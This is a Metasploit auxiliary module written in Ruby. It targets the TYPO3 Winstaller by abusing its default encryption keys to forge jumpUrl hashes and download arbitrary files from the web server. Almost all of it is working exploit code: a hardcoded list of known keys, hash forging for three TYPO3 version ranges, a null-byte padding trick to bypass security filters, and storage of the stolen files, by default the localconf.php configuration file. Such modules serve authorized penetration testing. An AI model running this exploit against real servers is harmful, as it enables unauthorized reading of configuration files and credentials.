TYPO3 Winstaller Default Encryption Keys

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'TYPO3 Winstaller Default Encryption Keys',
      'Description' => %q{
        This module exploits known default encryption keys found in the TYPO3 Winstaller.
        This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
        used to read any file that the web server user account has access to view.

        The method used to create the juhash (short MD5 hash) was altered in later versions
        of Typo3. Use the show actions command to display and select the version of TYPO3 in
        use (defaults to the older method of juhash creation).
      },
      'References' => [
        ['URL', 'http://typo3winstaller.sourceforge.net/'],
      ],
      'Author' => [ 'Chris John Riley' ],
      'License' => MSF_LICENSE,
      'Actions' => [
        [
          'Short_MD5',
          {
            'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
          }
        ],
        [
          'MIME',
          {
            'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
          }
        ],
        [
          'HMAC_SHA1',
          {
            'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
          }
        ]
      ],
      'DefaultAction' => 'Short_MD5'
    )

    register_options(
      [
        Opt::RPORT(8503),
        OptString.new('URI', [true, 'TYPO3 Path', '/']),
        OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
        OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
      ]
    )
  end

  def run
    # Add padding to bypass TYPO3 security filters
    #
    # Null byte fixed in PHP 5.3.4
    #

    case datastore['RFILE']
    when nil
      # Nothing
    when /localconf\.php$/i
      jumpurl = "#{datastore['RFILE']}%00/."
      jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
      jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
      print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
    when %r{^\.\.(/|\\)}i
      print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
    else
      jumpurl_len = datastore['RFILE'].length
      jumpurl = datastore['RFILE'].to_s
      jumpurl_enc = datastore['RFILE'].to_s
    end

    case action.name
    when 'Short_MD5'
      print_status('Performing downloading using Short_MD5 style juHash creation - see show actions for more details')
    when 'MIME'
      print_status('Performing downloading using MIME style juHash creation - see show actions for more details')
    when 'HMAC_SHA1'
      print_status('Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details')
    end

    print_status("Establishing a connection to #{rhost}:#{rport}")
    print_status("Trying to retrieve #{datastore['RFILE']}")

    if datastore['ENC_KEY'] != ''
      encryption_keys = [datastore['ENC_KEY']]
      print_status('Using provided Encryption Key')
    else
      print_status('Rotating through known encryption keys')
      encryption_keys = [
        # TYPO3 4.3.x - 4.4.x
        'd696ab49a803d7816021cb1768a6917d',
        '47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
        '7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
        # TYPO3 4.4.7+
        'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
        # TYPO3 4.5.0
        'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
        'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
        # TYPO3 4.5.2
        '14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
        # TYPO3 4.5.3
        '5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
        # TYPO3 4.5.4 - 4.5.7
        'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
      ]
    end

    counter = 0
    encryption_keys.each do |enc_key|
      counter += 1
      locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)

      case action.name
      when 'Short_MD5'
        juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
        juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
        juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
        juhash = Digest::MD5.hexdigest(juarray)
        juhash = juhash[0..9] # shortMD5 value for use as juhash
      when 'MIME'
        juarray = "a:4:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
        juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
        juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
        juhash = Digest::MD5.hexdigest(juarray)
        juhash = juhash[0..9] # shortMD5 value for use as juhash
      when 'HMAC_SHA1'
        juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
        juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
        juarray << 's:0:"";}'
        juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
      end

      file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
      file_uri = file_uri.sub('//', '/') # Prevent double // from appearing in uri
      vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")

      begin
        file = send_request_raw({
          'uri' => file_uri,
          'method' => 'GET',
          'headers' =>
          {
            'Connection' => 'Close'
          }
        }, 25)
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
        print_error(e.message)
        return
      rescue ::Timeout::Error, ::Errno::EPIPE => e
        print_error(e.message)
        return
      end

      case file.headers['Content-Type']
      when 'text/html'
        case file.body
        when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
          print_error("File #{datastore['RFILE']} does not exist.")
          print_good("Discovered encryption key : #{enc_key}")
          return
        when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
          print_error("File #{datastore['RFILE']} is not accessible.")
          print_good("Discovered encryption key : #{enc_key}")
          return
        when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
          print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
          print_good("Discovered encryption key : #{enc_key}")
          return
        end
      when 'application/octet-stream'
        addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
        print_good("Discovered encryption key : #{enc_key}")
        print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
        store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_winstaller')
        return
      else
        if datastore['ENC_KEY'] != ''
          print_error('Encryption Key specified is not correct')
          return
        end
      end
    end

    print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
    print_error("Maybe try checking the ACTIONS - Currently using  #{action.name}")
  end
end